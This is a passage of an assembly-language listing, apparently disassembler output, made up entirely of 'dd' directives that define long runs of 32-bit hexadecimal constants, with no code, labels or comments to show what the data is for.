		dd 1D4C685Fh, 0E7892E5Fh, 0A462072h, 0E329160Fh, 86E6043Fh
		dd 41614DFh, 18937002h,	2221CBB9h, 0B8B9926h, 0D500DF4Bh
		dd 0E6494E3h, 579D7C79h, 3C8F31A1h, 33ED7041h, 0E01DF655h
		dd 0CD9E6375h, 0EE0B029Eh, 954ED78Eh, 0C16064F8h, 7C4BB918h
		dd 4D8498F9h, 592D4856h, 27159D75h, 0D2138B45h,	11D346BAh
		dd 16995222h, 0D6805DC5h, 60262F3Dh, 47256040h,	0E913127Ch
		dd 5B36C58h, 0B1D5EC4Ah, 0C05964Dh, 35153849h, 0A275DF5Fh
		dd 0B7C8ABFh, 0D74DC4E9h, 0ECC20DEBh, 5B5FEE50h, 0CA021EACh
		dd 7B195455h, 0FC8F0340h, 8B951EF8h, 52065A00h,	0F226ADC1h
		dd 1C261042h, 0CF9FF931h, 17C0E7D4h, 3ABC45B3h,	54927C9Ch
		dd 68C69CB0h, 0F473D725h, 0ADDCEE7Dh, 4AC79657h, 3EAAE125h
		dd 0F27E158Ah, 7CE6BDD5h, 0F737DEE8h, 0D9F508D3h, 5B2410BCh
		dd 0EE350DE0h, 10552D0Fh, 5A258BBCh, 0A109E852h, 0F7305B21h
		dd 0EE806449h, 5B00ADABh, 25B47047h, 0D0F75804h, 0D3801C2Dh
		dd 628CE98Ah, 5779DF75h, 5065F546h, 0BEA6B088h,	83FD6635h
		dd 2E7A13D0h, 5A26AB91h, 0E56C1827h, 8281B620h,	0BDE7B46Eh
		dd 96B79D50h, 2C58B46Ah, 4B54AE97h, 0F2D285F5h,	6ADAA4A1h
		dd 0A7787DA0h, 4E4DCBA0h, 0FEAF6F99h, 0ED81C24Bh, 90577057h
		dd 0F36B5B8Ch, 65F4858h, 2B410E2Eh, 3762B5C0h, 54F55C7Dh
		dd 0F2E941C4h, 0A688FD0h, 40EE3D67h, 0AE2B82Dh,	5526E3CEh
		dd 0B182252h, 1EE1C655h, 0D66E117Ah, 0BEB384BFh, 5025AFCBh
		dd 0DDE95F54h, 68044546h, 17C87E5Ah, 811780FAh,	392E2E1Eh
		dd 9C0EC94Bh, 0E935C1EBh, 0AB8B6F4Fh, 0F45151E1h, 57203E80h
		dd 9295E78h, 0B44AE9F1h, 5D4B15FCh, 0FB9C3968h,	61B354BFh
		dd 335BC968h, 2B5224ADh, 0A204DB05h, 1D843C1h, 2C87F22Ch
		dd 0FEF007EBh, 68F78C96h, 5A4A2225h, 202A41EDh,	51316AAh
		dd 1401309Ch, 65C304BBh, 402C0C82h, 0C4C850E5h,	78B570E9h
		dd 0FF449FF2h, 0CE8C100h, 0F668C831h, 0A75DC576h, 7373EF59h
		dd 0A91D1767h, 0B80D902Ah, 2E4BCB27h, 184F6F8h,	53C7C3EFh
		dd 0C0F8F92Ch, 5E094210h, 12DF3166h, 3F5C46D4h,	680BD830h
		dd 36A17DAh, 0A540DC75h, 88BD6577h, 0EA821F4Bh,	0F77A1BEEh
		dd 540BF35Ah, 0DD4A3EE9h, 2A2C1A31h, 2813F1F3h,	805C28E3h
		dd 0FEFACB0Bh, 26C885C3h, 5B76F7AEh, 7FAA934h, 7FD15FC8h
		dd 0BE8806F3h, 509F11BBh, 25D84941h, 0D213B75Fh, 18B1A3D7h
		dd 0E8FC396Fh, 0B1FC2BE9h, 2CBE3CC3h, 2B548DDEh, 0E9C42ABCh
		dd 3057B1D4h, 0BA02F22Eh, 68DD79ADh, 31ED9089h,	60D78245h
		dd 2762462Fh, 0C9F23A35h
		dd 0B05FB41h, 0DE0A0D82h, 0D033504Eh, 70B15180h, 59C82799h
		dd 0B59EC9FCh, 489526Fh, 0E99DB753h, 80DA953Ah,	5FC8F4E1h
		dd 0DFDDDA4Bh, 0A73020h, 814DD90Bh, 2D473FCEh, 0D6E9E9F0h
		dd 5E9F8E64h, 0E983DE5h, 1AC7174Eh, 18E3512h, 2E5094A3h
		dd 83C69D3Bh, 0F9BDC6F2h, 9025BCF5h, 86A0AB76h,	0A04C2209h
		dd 8B5F0B77h, 96F7C2Eh,	78D45D16h, 811C9D50h, 68C870C1h
		dd 6628442Dh, 7BA1909Ch, 42322595h, 0C7589974h,	662128Eh
		dd 27CE93Fh, 606A19F7h,	0F701754Eh, 0C1FCAEBBh,	0AF3BEBh
		dd 38D0C18Dh, 0C2B83BB3h, 8229982h, 0F0795EF1h,	95C7D8A5h
		dd 5B64B15Dh, 0B4FDFD2Fh, 0CC5198AEh, 7FCAC295h, 0B52EEF9Ch
		dd 74AD3A35h, 659E4014h, 0C0BF10F2h, 0BFA0F625h, 8C2059ECh
		dd 0F65E5AFCh, 10B34F01h, 2A15AF11h, 68BDD04Dh,	59DC2E4h
		dd 1465D3Ah, 28C38AEAh,	29250FBFh, 47D0DCFAh, 0F0290BBDh
		dd 0DD258955h, 3F2F8D14h, 0F2081A3Eh, 0A89685A5h, 90644BE9h
		dd 921C6F1Dh, 0CB1F2196h, 0B11D428Bh, 4CE853F3h, 1E229746h
		dd 0CC405FFAh, 0F55B4A1Bh, 9B0A2C0h, 0DE1A607Bh, 7984067Dh
		dd 7E94209h, 7F5FB241h,	0A0BD8AF8h, 7D957242h, 3B569578h
		dd 53AC5845h, 20E4124h,	10897BD2h, 81E70057h, 2C5A82E6h
		dd 3A96A43h, 7FDC2AE9h,	38120C04h, 0BC8034D3h, 7CFE31F3h
		dd 0EDF60761h, 992F2B9Eh, 0D5E92F01h, 0B6236ACEh, 77064083h
		dd 897A758h, 192C52DDh,	0DFA91C13h, 9351F94Eh, 2C54B9E2h
		dd 0BA1C4A5Fh, 292CCCCAh, 0F5A60BADh, 7F953D9Ch, 0F7E97EB0h
		dd 2944CA5Ah, 116DACCh,	0F4422150h, 0F5FB2168h,	0FC972F1Dh
		dd 0CF365D67h, 9260F7D1h, 0C8AFB521h, 2293D4FEh, 0AD17AF4Fh
		dd 7B4B3421h, 0EB805800h, 84716258h, 3104FA71h,	2921DCD1h
		dd 6AC42C9Ah, 213ACD3h,	41EC7827h, 52A70860h, 473AC016h
		dd 5620B6CDh, 9A4D0554h, 4EFBD0Eh, 0FF293AF1h, 83A04D25h
		dd 98EBF843h, 67192596h, 7BEEE67Dh, 0A1CD4D0Ah,	7F2DAD01h
		dd 0D6069B01h, 66142C7Dh, 86530140h, 8E1C10Ah, 0A568CCD1h
		dd 0A41CD9B7h, 25521CB3h, 88884555h, 68029C2Eh,	0DF0D2A97h
		dd 0F6E6B3C0h, 5ABE1913h, 688422EEh, 2761E290h,	8138D203h
		dd 0D77488EDh, 0DDF5C19Eh, 0C8307CB2h, 0ECEC4163h, 39397DCDh
		dd 8ACFD0A4h, 1699D682h, 8D3E0252h, 0A4C1F5B2h,	0A1E47CA2h
		dd 168E25D6h, 0D9E5CA01h, 0F4EF20FBh, 0CCA1A04Bh, 12CA6F35h
		dd 0F80F3A65h, 0D28E850Fh, 1323E2EBh, 0BDA7C879h, 0CC8931D2h
		dd 6E18B23Eh, 2591DE34h, 0E9C1207Bh, 63263EFh, 1AC33077h
		dd 2979350Eh, 0F54C4125h, 81D55EC1h, 37574AF2h,	23315A19h
		dd 0B838C36Ch, 0AA41A00h, 3C69BB25h, 61CB3B5Ah,	337F7205h
		dd 8060C539h, 9EE2AE3h,	9EA04FB0h, 0D5918668h, 4DB4A4CFh
		dd 0F1D201ADh, 4CDA402Eh, 8195E62Ah, 8A6DFD74h,	3434076Eh
		dd 3162A260h, 2909B5DCh, 78F175A4h, 374AE201h, 8A006345h
		dd 281330ADh, 0AF00D701h, 0B8505FFEh, 654312ABh, 14F2BDEBh
		dd 966A4935h, 0E9D9C1EFh, 4652818h, 0BD5C0ABAh,	32109AEh
		dd 0D4A6C085h, 0FCF8EE02h, 0E65EC838h, 3DE90960h, 88E17636h
		dd 0CF886D60h, 5BF0E2Bh, 8028A324h, 97106CE6h, 83E83760h
		dd 9857B32Ah, 0EE204BF3h, 4E7022CDh, 43085E97h,	641380FFh
		dd 0A4F421FAh, 5E656D09h, 6B2B6F5Dh, 2ABDC8A0h,	104D23Eh
		dd 4B5DEB21h, 0C0A0C1EBh, 5ADD6352h, 208604FBh,	4CDAB94Dh
		dd 0C3972D5Dh, 5A148090h, 23A0C432h, 80001E7Ch,	0C5860DEDh
		dd 8D06FF6h, 0E3C0E524h, 37E909EDh, 0FAE5FF8Eh,	76DAE961h
		dd 88585D87h, 864BCF2Ch, 0C1553742h, 5B7FBBE6h,	0DE98CE20h
		dd 7497535Bh, 0BE6689B6h, 318B2D0Eh, 7BBFB87Ch,	0B6FF395h
		dd 439A84C2h, 56538248h, 2716687Dh, 0DCFA1BABh,	0F8093EDEh
		dd 5789E454h, 0AF09B378h, 37B363Ah, 5C71DB7Ch, 0C30199BBh
		dd 7E596382h, 26A7BE5Fh, 140525CEh, 0A8B00E58h,	455213F2h
		dd 4D142116h, 18C204BCh, 30D9DDC0h, 0CB15150h, 59C8881Dh
		dd 0C3E60A36h, 5A06CC67h, 8216DA0Eh, 661FF9F4h,	50510F42h
		dd 0C4E416B4h, 401CAEDFh, 1645CBD4h, 8DF8F97Bh,	72918993h
		dd 0FC5E8B5Ch, 0C7B2C305h, 0EAEB3B02h, 614BDF2Bh, 7A39070Ch
		dd 0EDE502Dh, 0CA6C575Ah, 3B57C501h, 0CD01753Ah, 846EDE1h
		dd 0BA9C40CAh, 0B2666917h, 0A2F2530Fh, 401B9514h, 9F043558h
		dd 27207D50h, 0C0681C86h, 0FEFE2F4Fh, 0BEFE0072h, 0FB2E4A2Bh
		dd 6834F03Eh, 6C20E52Ch, 111CC3C3h, 4A55CB4Dh, 82AB80BBh
		dd 30B78088h, 137FC23Eh, 0B046972Eh, 0CC30712Ch, 1470C27h
		dd 0F93173DFh, 0D00828A0h, 2090140Ch, 86E95967h, 51F82A5h
		dd 2B8906FEh, 46DC0231h, 9225A68h, 790A708Bh, 83307075h
		dd 520C0508h, 0D5142D10h, 0CFCDE3Bh, 0F1F1BAE9h, 7D2B434Dh
		dd 78B81559h, 0A927DD77h, 30D07AC3h, 5B0CC904h,	1CCD5551h
		dd 826B3A6Bh, 87059D4h,	0DE8A8870h, 0C5E95858h,	3329D34Bh
		dd 83489666h, 3F759C01h, 60E78170h, 14BA258h, 2006C5F4h
		dd 0B1952234h, 0F540555Ah, 0B73A3632h, 0F098E244h, 17D62618h
		dd 565880Ch, 0F58976B7h, 0E384FE5Eh, 630322AFh,	2872B55h
		dd 1A0E812h, 3A344A68h,	1DE3A130h, 0E9653C21h, 0C4D1164Eh
		dd 9A80EF85h, 0BF128549h, 1A4A5CF8h, 7F586EC2h,	0F75AABD9h
		dd 5DA58667h, 16C74168h, 9558C6B5h, 7EBFB5DAh, 0FBEF6571h
		dd 1617F895h, 0BE0812FBh, 426FEAF7h, 0B2FCB5C5h, 0D4680E14h
		dd 9DEF1220h, 0E9C38469h, 431433C9h, 691FE992h,	852B74FEh
		dd 44EED8E9h, 0C55EF38Dh, 0F8B5F59Bh, 0E59DF23Eh, 0F06697E0h
		dd 96955B95h, 16E91924h, 2B5E38F7h, 24FA9813h, 0CA36E948h
		dd 8BA09334h, 0CD594E04h, 7AF4A26h, 39DD30A8h, 132CB904h
		dd 4A7B33F0h, 0BB673161h, 3E573E27h, 0EEA258EFh, 0FA276537h
		dd 0A0FDF638h, 0B85E4A08h, 0D8BA4A77h, 794DE06Fh, 7DE0569h
		dd 38C1310Ah, 1B742161h, 0C35C278Ah, 0E7012374h, 4130480Ch
		dd 8E5BE47Fh, 44403103h, 765FA2E9h, 0DC7A27D3h,	0B6CE92AFh
		dd 1FDE83E9h, 0F4B41E32h, 0BCD52568h, 329381CCh, 0B9BA1281h
		dd 7AA62D0Ah, 2D7FCDBDh, 59F264FDh, 501F520h, 62286CB8h
		dd 0AFB8D42Fh, 0B410FACh, 4A694730h, 0C0A37468h, 47577001h
		dd 520E20FDh, 0C9BF7B9Fh, 82970364h, 0BA4F28h, 6E685250h
		dd 7002CE6h, 38CA815Ah,	7E15EA18h, 0B07BD7E9h, 7E40B50Ah
		dd 354D7E5Ch, 0BE520C0Fh, 0D4B00C07h, 0CDA8BC24h, 349C267Fh
		dd 854A76Eh, 51DB7D5Ah,	2908AD20h, 62A612Dh, 8EEC25C7h
		dd 6006D0F8h, 0D3011816h, 4508831Ch, 81F2141Ch,	0E1B7E920h
		dd 3B43372Bh, 0E8B10462h, 12F032C7h, 0D840F7E9h, 0A10AF9BEh
		dd 0C6016C32h, 0E9518106h, 0D60CA50Bh, 0E197BD75h, 0A2635273h
		dd 558916h, 13764894h, 4CBD3525h, 2C9AF90Bh, 0DDAF420Bh
		dd 32F7A692h, 0F3F07DC0h, 84CC4595h, 0AC3C13E9h, 535DF0F5h
		dd 2EFF86BBh, 0CAEAF616h, 6CBB4FCCh, 4BB05060h,	202FC20h
		dd 0C95F381h, 60412927h, 28A2270h, 2F944A75h, 9D1D6C5Fh
		dd 154810F7h, 0E6769F14h, 0F196D198h, 801A1DC6h, 84E4D363h
		dd 0E09EEEFFh, 9778FC5Ah, 0E9C26AEDh, 0BF6A217h, 1BD044Fh
		dd 7E6DCEEFh, 0B0127C2Eh, 0B1298488h, 6F8EB064h, 800E84C0h
		dd 0E94F13EDh, 0EF0D22EEh, 0F5704A7Fh, 0DA9AC865h, 200C14Bh
		dd 22409B18h, 427009BDh
		dd 4FFC0D65h, 96072116h, 55B7D2F7h, 0C03F08F0h,	1886FF1Dh
		dd 4953F4E9h, 2B2D34Fh,	0A0DCD124h, 253278AFh, 0F87E3F51h
		dd 2DE3F569h, 6BC613AAh, 3017F795h, 95E9F103h, 0C2230356h
		dd 70F35AFAh, 12EE0C5Bh, 8C6721CAh, 7A2F323Ch, 4EE03D2h
		dd 0D1F75386h, 7228AFAh, 0C174DEC7h, 5B5BD0E0h,	0EE780150h
		dd 2B2B6F3Ah, 7142A84h,	0DFAB4A7Ah, 75012718h, 9D274BBBh
		dd 27EEF459h, 6861227Bh, 0CB664414h, 0B417F704h, 0A4F3807Dh
		dd 77583312h, 94F4262Ch, 0D209A5BDh, 1BF207A3h,	0C4067818h
		dd 2EE1AFB8h, 0C224E07Fh, 3473745Dh, 11857524h,	43EBB356h
		dd 98C0E934h, 0B3B82603h, 5A445B0Eh, 41E5A83Eh,	90B0486h
		dd 0CE79C9B4h, 80CDB501h, 0ECF5FDC5h, 9F5C1124h, 0F4205216h
		dd 13B57622h, 0FE6DF580h, 0F28F8D1Dh, 25CA21F8h, 0E533DAF6h
		dd 9C37944Eh, 455C7D20h, 62BF8182h, 0AF3B55ECh,	5ECB8D40h
		dd 24D25A4h, 0E907EDC1h, 47DF6227h, 0C14A965Ah,	0DD575309h
		dd 0AF007F1Eh, 0BD04D334h, 8081A088h, 0B0414CF6h, 2D13F520h
		dd 331E52A3h, 169BDD95h, 69EF5B54h, 0EA64050Bh,	5FA0A68Ch
		dd 5C2D889Fh, 2DFFEBFh,	72671CF9h, 95F116D5h, 0B60A44F4h
		dd 6861C111h, 6D76556Bh, 0EB154913h, 7EF67028h,	34AF9h
		dd 2DD8F77Ah, 8C0CBD70h, 73C50136h, 975BE9h, 57F6B971h
		dd 0DA9D2790h, 5C47039Fh, 99E96B70h, 337148Ch, 405A6AE7h
		dd 0E2D7E148h, 5DEB9B82h, 2B82FB31h, 4655B1C9h,	626FF2A6h
		dd 0EF011282h, 705D1842h, 5A48FA15h, 0C8D32823h, 0BBD3540h
		dd 323A2B99h, 0A9890704h, 73C60227h, 407C5D28h,	24563604h
		dd 25036E6Dh, 0D5318660h, 0D6CF052Dh, 22C82550h, 2177FEFh
		dd 0E3B01C94h, 5B08A1C7h, 3D34452Ah, 549AD1Fh, 308A2142h
		dd 87B0D60Eh, 0E9C2DC96h, 58F068F3h, 72EA2D68h,	0C8FD5119h
		dd 0D1B7FEF3h, 22E90601h, 566084F0h, 9E746B56h,	166AB07Eh
		dd 54407AAh, 0A3A4FCE9h, 614101C8h, 0EA8145DDh,	0FE034FF3h
		dd 0FAD4D157h, 62DE7BCh, 61C512FDh, 0C33BD1FFh,	0E9884AB7h
		dd 0FD95D73Ch, 53A4A096h, 75720CB0h, 749DA49Ah,	0C2F752ACh
		dd 8BA97FCEh, 0F3C042D6h, 2D274ED3h, 0BF60892Bh, 43179DEEh
		dd 4B513A5h, 8A210804h,	0BA008909h, 72E6162Bh, 6362B190h
		dd 0FF5DEEDFh, 0FEBC1816h, 7784F3CFh, 9786E3AAh, 0DB1772B7h
		dd 23D9FE38h, 970B0CECh, 106241A7h, 7A351789h, 66E55209h
		dd 0B9097D09h, 5FFAF254h, 888E505Ch, 0D52F2BEEh, 0ED3067E4h
		dd 83BF7A57h, 39E1133Fh, 0BBA4AB47h, 1B3B1E25h,	340581CDh
		dd 0D436C521h, 0BA27C3B5h, 350AE081h, 0DFC2E146h, 5857DCB1h
		dd 0E9155489h, 2EE3308Eh, 9F157ED8h, 0A2855E79h, 499CA7FEh
		dd 88E90897h, 2FB9023Bh, 0B6E11B36h, 5509DA6Ah,	5C12E595h
		dd 35E168FAh, 0D847326Ah, 1B1FE502h, 0E9F0D528h, 0B4162AE7h
		dd 1E8DFB13h, 1F30D0C1h, 0F3704BB6h, 76EF0732h,	0B9D5377Ch
		dd 0FB69D2FAh, 25FD7C42h, 5CC02905h, 0CD5E6CE9h, 0E4535D82h
		dd 0C4973307h, 5E650BE0h, 94571A66h, 0D8E924C3h, 8648B251h
		dd 0D898747Ah, 8D4DF609h, 887F7Bh, 41E90507h, 3B12E90Eh
		dd 5AA34EDAh, 0C3D12D07h, 0EEE8857Eh, 0F26BF699h, 0E0E90B16h
		dd 0A30CB03Ah, 3D6F2571h, 0BC2163D7h, 1B8E7E0h,	39CD097Eh
		dd 3059C831h, 0FBEEF251h, 901113Bh, 0D6063468h,	0DB09C08Dh
		dd 0D0060D62h, 4067BB41h, 46D80ABEh, 2CC39ECh, 30633BA3h
		dd 95DFC83h, 80BA5A4Bh,	0DC144BB9h, 84C2D4FDh, 7FD92725h
		dd 765F8AE9h, 264F7C8Fh, 0DBF744C1h, 0AAD10492h, 13F113D8h
		dd 2408203h, 123911C2h,	0F3D5E40h, 9779858Ah, 1653FEB0h
		dd 8C3E2068h, 0C2950EE4h, 56788B66h, 3AF72F6Fh,	0CF9103Eh
		dd 0CE79957Fh, 5C74C9CFh, 0A1E793B8h, 0E0FD7892h, 0B1216168h
		dd 7F579EBCh, 352E1F80h, 2722BA5Fh, 51297E27h, 24F0272Eh
		dd 0B12F98B8h, 0E780D9DCh, 0B41164E9h, 4838EE67h, 0DA01920Ah
		dd 21572F42h, 0E9F18746h, 0C8335BDh, 1D45B19Ch,	0EAB0F0D5h
		dd 0AA12E300h, 777F05C5h, 0A16F5A43h, 0AE0704CBh, 5026438Fh
		dd 0E80313BDh, 0C70BA1A8h, 0BF8F312Ah, 0CE920487h, 0C014F502h
		dd 684EB290h, 53A1E4B8h, 0F1E5810Dh, 11432C3h, 347BBA4h
		dd 5F57D75h, 968E563Fh,	0F9806F09h, 0BA4860E9h,	0BD6CFE88h
		dd 7827D64h, 0DC8B0BF5h, 422E0156h, 3BB605E9h, 9055CFF2h
		dd 13B0EE20h, 9092D4Eh,	0CE197E6Ah, 50448251h, 0E1590AB0h
		dd 0AD81276Ch, 568C76C7h, 7BC5D9A9h, 0C6E9C742h, 3F4F253h
		dd 4F392501h, 104B43C8h, 41797BE0h, 1AD83CA2h, 77303758h
		dd 0AECA61FCh, 68A20E18h, 47469738h, 3F4E64F0h,	0FF4EF7E3h
		dd 1965348Bh, 0E5FC85Fh, 0B2E72941h, 615A6ACDh,	9565567Dh
		dd 0E83A4149h, 94CBB86Ah, 42DB2784h, 65015B97h,	225261DFh
		dd 42094868h, 0FA5FF54Eh, 2F7ABFD7h, 18671A1h, 0EC46DEF7h
		dd 13524AAAh, 7CEEF72Bh, 60D0BFh, 0BA50680Eh, 4D0A39D3h
		dd 2AFA3130h, 187917E2h, 0E42283Bh, 0A70577CBh,	74FDE960h
		dd 12A630ABh, 6614FC17h, 4F25548h, 9F27C01h, 0AE53EA05h
		dd 474D07F7h, 2DC9810h,	0C7239BEh, 0B4A4C336h, 27110407h
		dd 0A262928Dh, 5362A0DEh, 8C18D559h, 149D35D2h,	0BB07D64Ch
		dd 0BCE91F43h, 80240EC0h, 0EB6466CBh, 87C0AB06h, 27E9C9FEh
		dd 0BCA55E4Bh, 662DA0AEh, 60A1995h, 9F20CCCCh, 857F3762h
		dd 9AD95967h, 5A3CDC6Bh, 0E94B5650h, 0D69A1C78h, 366CC095h
		dd 0F2E72CCCh, 0B111080h, 895EB7B9h, 0A026700Eh, 62E8A6h
		dd 0DA054E20h, 21228C17h, 44EFD29Fh, 0E9195601h, 0AC4483FAh
		dd 0AB1C47D8h, 6CB1E1F1h, 0B795C87Bh, 0DF96A852h, 0D74CE209h
		dd 54C21493h, 53684068h, 0F1E6484Ah, 6D11E660h,	48B71C1Dh
		dd 0EE5BF507h, 0FEE92D5Eh, 0CF598E89h, 0B2A2E9E1h, 4EBD5C81h
		dd 21029151h, 7F3DEC44h, 0CF812600h, 33C56B1Fh,	214B3168h
		dd 518BC37h, 144A8101h,	21301354h, 0EDC080FAh, 0CDFE041Eh
		dd 5596A589h, 4C96959h,	0C9AA12E7h, 0FA347FC1h,	4FC68A26h
		dd 0EFDFD040h, 61273B87h, 0A0D17820h, 2843D064h, 2D06D49h
		dd 75C8129Dh, 0E7D5C531h, 30E5002Ah, 552A1428h,	0FC1CF72Fh
		dd 38677172h, 92F45B37h, 6E8141B4h, 774BF7h, 57564C32h
		dd 17A96852h, 5A1A79B0h, 0DA5CE94Ah, 413E0BDFh,	0CDF474CAh
		dd 9DF58100h, 0BF22205Bh, 1A350ED0h, 0E5A0611Dh, 0C1A74111h
		dd 0FDC24EBh, 3A056680h, 2D0C5B3Ah, 0E9E56AD7h,	0DEFF317Dh
		dd 0F776307Dh, 116813F9h, 5C71AA0Eh, 0FA040A07h, 0F6A32591h
		dd 44F05640h, 256C90C1h, 1FF802E2h, 44231732h, 9D6DC31h
		dd 0D37DE0C6h, 254A2C81h, 5AD2903h, 1F065AC8h, 0F4D82925h
		dd 0C4CA58BAh, 9D967D95h, 9845DC2Dh, 0A80C3F2Bh, 13B0CFFFh
		dd 0B6FD04Fh, 5F674BEDh, 0AAD692BFh, 0A404D3BDh, 0AA2C1B53h
		dd 1C2847F0h, 52E9AEF9h, 0EFB452EEh, 0BAA520E2h, 58693988h
		dd 9DEF509h, 0BA5764A7h, 4B53DE23h, 67BE8787h, 0C0633509h
		dd 0C273526Eh, 90A85B65h, 0F2B564BAh, 5DE80DEBh, 5560DEC1h
		dd 0F2254A35h, 57A948Ch, 17B52729h, 0C5C10FACh,	0FAFC7685h
		dd 0A2C64760h, 629A4695h, 0F2E3165Ch, 6AB7B1FBh, 27A05E89h
		dd 0BF76B6F7h, 24BF6FAh, 0D2D2D9A2h, 7F689F01h,	2E5CFDBDh
		dd 3E575056h, 9BB3D483h, 1205F95Bh, 208125E9h, 48DDF328h
		dd 68165F38h, 0F588AC02h
		dd 35649C13h, 0E52DFDECh, 7825CFFBh, 0EAC18080h, 7ED0B14h
		dd 4DB3CA29h, 1CE0FAC2h, 0BF804C0Fh, 6D1317A6h,	335FD3Fh
		dd 0F80B35C7h, 0DF480723h, 0F276A55Ch, 20D704E1h, 0BF0308F3h
		dd 4511DF01h, 0BB2826BDh, 655BFC0Fh, 0B2BB073Ch, 886B7BB7h
		dd 4DA02F1h, 0C06AC29Eh, 9D7FEAD9h, 0D1B432CEh,	8F2A31F1h
		dd 98EE4A70h, 2C07F3A5h, 0E968C07Fh, 4E6807E6h,	5EF7785Fh
		dd 4B68D4BFh, 0BF1C3057h, 0A021395Bh, 87B36801h, 3B5D740Bh
		dd 0B17F22F1h, 5A2F08Ch, 0BA62D4BCh, 97171E7h, 0C7745E54h
		dd 70706850h, 2BF6B773h, 15EE50h, 162D413h, 3733E9FEh
		dd 95C11BC0h, 9F7E9876h, 0B0121216h, 0E70417A8h, 0C017DA3Fh
		dd 77F9C375h, 0AE38423Eh, 288952B2h, 7C7A82E8h,	70B80014h
		dd 5529937h, 585827B6h,	0E90C8035h, 2704BC7Ah, 4F2360D5h
		dd 42219607h, 0E66362F8h, 694BC7E1h, 8BE5EEDh, 8A0B0169h
		dd 0D7C4DD1Bh, 0A977D433h, 0EF8E10CBh, 0C35A2BA4h, 6E87BD01h
		dd 816B72A9h, 3188BC62h, 41F161DBh, 5559EEh, 970A8D68h
		dd 603C0798h, 0E97E9504h, 59025303h, 2D715A56h,	35490581h
		dd 0B12C0E74h, 8D2F0741h, 0C5647019h, 6FBE3212h, 0D3CA01E4h
		dd 0A5E2BB11h, 0F1C6FC5Bh, 0AFC2BE68h, 0B021F4Eh, 0CA5952EEh
		dd 37A480C8h, 0B50C9533h, 0F15AE116h, 0FC68B2C0h, 81FCA62Bh
		dd 6D7F07ABh, 0D438282Ch, 9E0B5EBFh, 90307766h,	0DB026855h
		dd 5D54D444h, 0BC36052h, 7B880E2Fh, 0E22E5625h,	45CF05E0h
		dd 2B76C68h, 0A26741D6h, 0FC4B8DEh, 0D2A9899Dh,	5A84DA90h
		dd 0A58A283Dh, 804080F7h, 0E46835F2h, 34DDC579h, 9247BB5Ah
		dd 0F5894B18h, 0BF4CFD0Ch, 0EA7DA0B7h, 582C750Eh, 78012A03h
		dd 0F722F310h, 886882DDh, 0D52B4B83h, 7F95C240h, 688697BCh
		dd 256B0EDEh, 6B7EA992h, 0A43C9E60h, 269980Ah, 75D6E75h
		dd 6F415149h, 9E25625Ch, 35F08FD3h, 79C77288h, 837230F9h
		dd 0C15EF553h, 7608ED2Eh, 11A7D10h, 8821FAC3h, 0CD74C5B8h
		dd 0D198935Ah, 52F24A01h, 12803154h, 9EE73548h,	294AA5A8h
		dd 4702C241h, 442E0C75h, 0BB4DE0B9h, 0FC73C48Eh, 46680053h
		dd 0E961162Ah, 0E0941285h, 9531FD9Eh, 0B53E05E8h, 0B5CD44Ch
		dd 5DBCD590h, 0F5685158h, 27D3F67Fh, 0B98970A8h, 0B7354032h
		dd 5F696766h, 476AF7F8h, 7E42E054h, 0AB7E0988h,	0F0A079Ah
		dd 7891CB90h, 0C21BBE38h, 0E7FF5508h, 8DBB00EBh, 0BA56C03Eh
		dd 5D0BA5F3h, 0BEC7F804h, 81FB5CD5h, 7EB59732h,	0DD37032h
		dd 5656AF92h, 0A073722Bh, 0D9B2C10Bh, 584C885Bh, 78740501h
		dd 0C03A6B90h, 560CA503h, 6CE640E9h, 7A4ECD2Dh,	0FF4EEAF8h
		dd 0AA64AAD3h, 0ADA26089h, 16E79704h, 20A76805h, 0E69763A6h
		dd 0FEC810CEh, 5601D04Ch, 0A7C24BEh, 0B04BF435h, 5B2FD595h
		dd 4EB3570Fh, 41C2F097h, 0C9E05872h, 2D1C4806h,	8E478F07h
		dd 0CCCAC289h, 5D3A3F8Ch, 41CEE5F9h, 30010A41h,	262D3EF5h
		dd 695CE8F1h, 60E91353h, 0FB99EBFEh, 4B17B41Ch,	6ECAEA5Bh
		dd 6AC3257Dh, 0A752C12h, 710B6CCAh, 0DF3812A9h,	2D5CF6Ah
		dd 2994246Eh, 593DA482h, 50C8E209h, 19CB2502h, 6AA8884Bh
		dd 6BF60DF1h, 691425Bh,	0EA2B03DCh, 77190A70h, 0E9280917h
		dd 54763EB5h, 1C9CDC8h,	0A60DE964h, 4F2E44B6h, 0DEF5801Ch
		dd 6A27C32Ch, 0CCFC77C9h, 0E9EB98ADh, 0ACBC4ACFh, 8DE4C17Eh
		dd 0CE2B15E3h, 0D22D0308h, 91160121h, 74005D8h,	96BE49E9h
		dd 2212A720h, 1206F9D5h, 0ADD9C379h, 3B49E7B1h,	0F82C2A9h
		dd 6EF7C8BEh, 2C6818A6h, 586CAD53h, 18700D80h, 6E47E25Eh
		dd 0A20041D1h, 0C5F78131h, 0C0743350h, 0DD0CF40Ch, 9C160510h
		dd 9DBC5A08h, 9D072D28h, 35818745h, 0B3FC8907h,	681B802Fh
		dd 0FBB366D2h, 8464D625h, 0ACB88CE9h, 2F099E5Eh, 0BFD27C48h
		dd 4C93170Fh, 0BE91D365h, 423F38Ah, 0C0EC539Ah,	9F151938h
		dd 0C4288DBAh, 2EED109Bh, 0FC2C134Fh, 0A52E5307h, 67C0F52Bh
		dd 4AA83DF8h, 2016F3BFh, 29A839B1h, 0C4F1381Dh,	0BFF829FBh
		dd 0BE87EAEDh, 0EEE0746Bh, 281C1880h, 0A8055EC6h, 3FA900DEh
		dd 65E9342Ch, 4C7A92B9h, 6B2C7C19h, 52C54F84h, 0C4A6B858h
		dd 5E9D501Bh, 3044BE20h, 0CB58B011h, 54E27A7Eh,	7BEAEBECh
		dd 25B9FA48h, 89DC8BC9h, 0A9B9AF84h, 9909B51h, 111668B5h
		dd 87025246h, 1541842h,	503E54FBh, 200547C7h, 681B723Bh
		dd 60E5A31Dh, 0A7067B4h, 0DE891C71h, 1B4E4731h,	1302448Eh
		dd 0DE0157Fh, 70065994h, 2269E903h, 1D8BB558h, 0FCD4A977h
		dd 1E04B3Eh, 4DEA1029h,	0C888449Bh, 0BD5BBDC3h,	3BC9DFBAh
		dd 8DA3AE61h, 15393323h, 9FA282Ch, 0E3D41505h, 501B862h
		dd 0BC879455h, 0E5BA4C6Dh, 55626780h, 2D3841CFh, 7E4170CAh
		dd 62DDDEE9h, 99FFDE45h, 0B5ED2B8Fh, 85AEEC93h,	4EBFF41Bh
		dd 0E36F5357h, 2B50AFE9h, 44E052Eh, 495C4B1Dh, 50098B49h
		dd 0B20782A9h, 968182F9h, 0D44677DDh, 85B8E5C0h, 7D2A8040h
